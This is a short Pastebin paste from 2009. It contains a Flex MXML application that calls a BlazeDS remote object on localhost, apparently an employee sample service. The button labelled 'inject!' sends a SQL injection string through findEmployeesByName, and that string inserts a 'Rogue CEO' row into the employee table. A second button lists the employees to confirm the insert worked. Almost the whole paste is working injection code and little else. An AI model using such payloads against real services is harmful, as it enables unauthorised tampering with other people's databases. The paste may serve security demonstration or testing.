Advertisement
Guest User

James Ward

a guest
Nov 23rd, 2009
443
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
XML 0.74 KB | None | 0 0
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <mx:WindowedApplication xmlns:mx="http://www.adobe.com/2006/mxml">
  3.    
  4.     <mx:RemoteObject id="ro" destination="runtime-employee-ro">
  5.         <mx:channelSet>
  6.             <mx:ChannelSet>
  7.                 <mx:AMFChannel uri="http://localhost:8400/samples/messagebroker/amf"/>
  8.             </mx:ChannelSet>
  9.         </mx:channelSet>
  10.     </mx:RemoteObject>
  11.    
  12.     <mx:Button label="inject!">
  13.         <mx:click>
  14.             ro.findEmployeesByName("';INSERT INTO employee (first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue CEO');");
  15.         </mx:click>
  16.     </mx:Button>
  17.    
  18.     <mx:Button label="getEmployees">
  19.         <mx:click>
  20.             ro.getEmployees();
  21.         </mx:click>
  22.     </mx:Button>
  23.    
  24.     <mx:DataGrid dataProvider="{ro.getEmployees.lastResult}"/>
  25.    
  26. </mx:WindowedApplication>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement